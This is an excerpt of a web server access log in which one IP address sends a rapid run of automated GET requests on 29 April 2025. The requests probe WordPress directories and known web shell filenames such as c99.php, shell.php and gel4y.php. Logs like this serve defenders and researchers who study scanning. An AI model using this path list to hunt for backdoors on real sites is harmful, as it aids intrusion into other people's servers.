/wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:51:51 -0400] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:51:52 -0400] "GET /newlms/assets/frontend/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:51:52 -0400] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:51:52 -0400] "GET /wp-content/plugins/shell/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:51:53 -0400] "GET /wp-content/themes/blocksy/static/sass/frontend/6-layout/entries/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:51:53 -0400] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:51:54 -0400] "GET /wp-includes/Requests/abou.php/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:51:54 -0400] "GET /wp/wp-content/themes/twentytwenty/template-parts/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:51:55 -0400] "GET /wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:51:55 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:51:55 -0400] "GET /wp-content/plugins/erinyani/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:51:56 -0400] "GET /wp-content/plugins/wordpress-seo/vendor_prefixed/symfony/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:51:56 -0400] "GET /admin/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:51:57 -0400] "GET /.well-known/acme-challenge/action=./ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:51:57 -0400] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:51:58 -0400] "GET /vendor/symfony/serializer/Mapping/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:51:58 -0400] "GET /wp-content/themes/blocksy/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:51:59 -0400] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:51:59 -0400] "GET /assets/admin/plugins/ckeditor/plugins/scayt/dialogs/dialogs/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:51:59 -0400] "GET /wp-includes/interactivity-api/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:00 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:00 -0400] "GET /wp-includes/js/tinymce/plugins/image/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:01 -0400] "GET /wp-includes/Requests/Response/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:01 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:01 -0400] "GET /files/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:02 -0400] "GET /wp-includes/Text/Diff/Engine/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:02 -0400] "GET /wp-includes/SimplePie/HTTP/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:03 -0400] "GET /wp-content/uploads/2023/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:03 -0400] "GET /wp-content/plugins/woocommerce/includes/gateways/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:04 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:04 -0400] "GET /wp-content/fonts//wp-content/fonts/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:05 -0400] "GET /images/icons/rouyg/hppd/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:05 -0400] "GET /wp-includes/blocks/freeform/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:05 -0400] "GET /wp-content/plugins/insert-headers-and-footers/includes/auto-insert/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:06 -0400] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:06 -0400] "GET /wp-content/themes/twentytwenty/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:07 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:07 -0400] "GET /wp-includesmaps/p/snippets/g8ofh3h3db/raw/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:07 -0400] "GET /wp-content/plugins/file-manager-advanced/application/library/codemirror/mode/jsx/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:08 -0400] "GET /templates/ja_purity/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:08 -0400] "GET /wp-admin/css/colors/light/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:09 -0400] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:09 -0400] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:09 -0400] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:10 -0400] "GET /wp-content/plugins/generateblocks/src/components/unit-picker/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:10 -0400] "GET /wp-includesmaps/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:11 -0400] "GET /wp-include.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:11 -0400] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:12 -0400] "GET /sos/NewTheme/images/VillagesPictures/Dhodial/Dhodial/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:12 -0400] "GET /wp-includes/css/dist/block-library/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:12 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:13 -0400] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:13 -0400] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:14 -0400] "GET /wp-content/plugins/bdthemes-element-pack/modules/review-card/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:14 -0400] "GET /wp-content/plugins/w3-total-cache/lib/Aws/Aws/Api/Parser/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:14 -0400] "GET /assets/css/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:15 -0400] "GET /wp-content/themes/twentytwentyfive/styles/sections/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:15 -0400] "GET /wp-includes/js/tinymce/utils/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:15 -0400] "GET /wp-includes/blocks/file/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:16 -0400] "GET /wp-content/themes/astra/inc/modules/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:17 -0400] "GET /wp-mai.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:17 -0400] "GET /wp-taglin.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:18 -0400] "GET /wp-editor.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:18 -0400] "GET /wp-content/themes/twentytwentyfour/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:18 -0400] "GET /wp-includes/js/tinymce/plugins/wpeditimage/wpeditimage/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:19 -0400] "GET /wp-content/plugins/wp-table-builder/inc/core/freemius/assets/img/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:19 -0400] "GET /wp-activat.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:19 -0400] "GET /wp-includes/blocks/embed/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:20 -0400] "GET /wp-content/plugins/revslider/public/assets/js/libs/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:20 -0400] "GET /wp-includes/css/dist/customize-widgets/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:20 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:21 -0400] "GET /wp-content/plugins/pro-elements/modules/notes/database/query/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:21 -0400] "GET /wp-content/languages/themes//wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:22 -0400] "GET /wp-content/plugins/elementor/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:22 -0400] "GET /templates/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:23 -0400] "GET /wp-content/plugins/js_composer/include/params/options/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:23 -0400] "GET /wp-content/plugins/woocommerce/packages/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:23 -0400] "GET /backup/wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:24 -0400] "GET /images/headers/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:24 -0400] "GET /wp-content/themes/twentytwentythree/parts/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:24 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:25 -0400] "GET /wp-includes/css/dist/block-library/action/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:25 -0400] "GET /wp-includes/SimplePie/Content/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:26 -0400] "GET /wp-includes/js/imgareaselect/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:26 -0400] "GET /wp-content/plugins/not/includes/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:26 -0400] "GET /wp-admin/plugins/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:27 -0400] "GET /about/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:27 -0400] "GET /wp-includes/js/tinymce/plugins/hr/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:28 -0400] "GET /wordpress/wp-includes/sodium_compat/src/Core32/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:28 -0400] "GET /wp-content/td/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:29 -0400] "GET /about/b/home/iune/www/about/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:29 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:29 -0400] "GET /wp-content/plugins/revslider/admin/assets/images/navigationeditor/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:30 -0400] "GET /classwithtostrin.php/rbzccnn.php/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:30 -0400] "GET /wp-content/upgrade-temp-backup/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:31 -0400] "GET /wp-content/plugins/wpforms-lite/templates/admin/empty-states/payments/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:31 -0400] "GET /wp-includes/js/tinymce/plugins/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:31 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:32 -0400] "GET /wp-includes/blocks/comment-template/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:32 -0400] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:33 -0400] "GET /wp-content/themes/twentytwentytwo/styles/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:33 -0400] "GET /wp-content/plugins/ioxi/ioxi/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:33 -0400] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:34 -0400] "GET /wp-content/themes/listdo/inc/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:34 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:34 -0400] "GET /wp-includes/rest-api/endpoints/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:35 -0400] "GET /wp-includes/Requests/library/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:35 -0400] "GET /http:/gracecommunications.church/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:35 -0400] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:36 -0400] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:36 -0400] "GET /wp-content/plugins/wp-rocket/inc/admin/ui/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:37 -0400] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:37 -0400] "GET /wp-includes/blocks/calendar/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:37 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:38 -0400] "GET /wp-includes/js/tinymce/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:38 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:39 -0400] "GET /wp-content/x/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:39 -0400] "GET /wp-includes/blocks/block/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:40 -0400] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:40 -0400] "GET /wp-admin/sr/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:40 -0400] "GET /wp-includes/Text/Diff/Engine/require/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:41 -0400] "GET /.well-known/pki-validation/wp-admin/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:41 -0400] "GET /index/sr HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:42 -0400] "GET /wp-content/updraft/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:42 -0400] "GET /wp-content/plugins/Duplicatepost/src/ui/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:42 -0400] "GET /wp-includes/css/dist/list-reusable-blocks/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:43 -0400] "GET /wp-content/uploads//wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:43 -0400] "GET /wp-includes/Text/Diff/Engine/Engine/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:44 -0400] "GET /wp-content/plugins/smartmag-core/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:44 -0400] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:44 -0400] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:45 -0400] "GET /wp-content/plugins/jetpack/_inc/build/shortcodes/js/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:45 -0400] "GET /wp-includes/Text/Diff/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:46 -0400] "GET /wp-content/uploads/2022/07/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:46 -0400] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:46 -0400] "GET /wp-includes/css/dist/components/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:47 -0400] "GET /wp-includes/js/tinymce/plugins/wpview/wp/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:47 -0400] "GET /assets/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:48 -0400] "GET /wp-content/fonts/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:48 -0400] "GET /wp-includes/js/tinymce/skins/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:48 -0400] "GET /wp-content/languages/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:49 -0400] "GET /wp-includes/blocks/group/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:49 -0400] "GET /wp-includes/Requests/Proxy/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:49 -0400] "GET /wp-includes/SimplePie/Cache/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:50 -0400] "GET /sec/core/tests/Drupal/FunctionalTests/Hal/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:50 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:51 -0400] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:51 -0400] "GET /wp-content/plugins/jet-engine/includes/components/glossaries/assets/css/admin/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:51 -0400] "GET /wp-content/plugins/all-in-one-seo-pack/vendor_prefixed/psr/log/Psr/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:52 -0400] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:52 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:52 -0400] "GET /wp-content/plugins/elementor/core/admin/ui/components/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:53 -0400] "GET /wp-content/uploads/2023/05/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:53 -0400] "GET /wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:54 -0400] "GET /.well-known HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:54 -0400] "GET /.well-known/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:55 -0400] "GET /.well-known/config HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:56 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:56 -0400] "GET /.well-known/pki-validation/top.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:57 -0400] "GET /12.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:57 -0400] "GET /NewFile.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:58 -0400] "GET /Public/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:58 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:58 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:59 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:52:59 -0400] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:00 -0400] "GET /api.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:00 -0400] "GET /app/wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:01 -0400] "GET /backup/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:01 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:01 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:02 -0400] "GET /blog/blog.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:02 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:03 -0400] "GET /c99.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:03 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:04 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:04 -0400] "GET /comfunctions.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:05 -0400] "GET /contact.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:05 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:05 -0400] "GET /credits.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:06 -0400] "GET /css/colors/coffee/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:06 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:07 -0400] "GET /default.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:08 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:08 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:09 -0400] "GET /f.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:09 -0400] "GET /favicon.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:10 -0400] "GET /footer.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:10 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:10 -0400] "GET /gel4y.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:11 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:11 -0400] "GET /header.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:12 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:13 -0400] "GET /home.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:13 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:14 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:15 -0400] "GET /jquery.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:15 -0400] "GET /libraries/php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:16 -0400] "GET /lock360.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:16 -0400] "GET /login HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:16 -0400] "GET /lufix.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:17 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:17 -0400] "GET /mah/function.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:18 -0400] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:18 -0400] "GET /maintenance.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:18 -0400] "GET /news.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:19 -0400] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:19 -0400] "GET /ova-tools.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:20 -0400] "GET /pi.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:20 -0400] "GET /plugins/custom/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:21 -0400] "GET /post.php/wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:21 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:21 -0400] "GET /shellv3.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:22 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:22 -0400] "GET /sx.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:23 -0400] "GET /system.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:23 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:23 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:24 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:25 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:53:25 -0400] "GET /upload/ 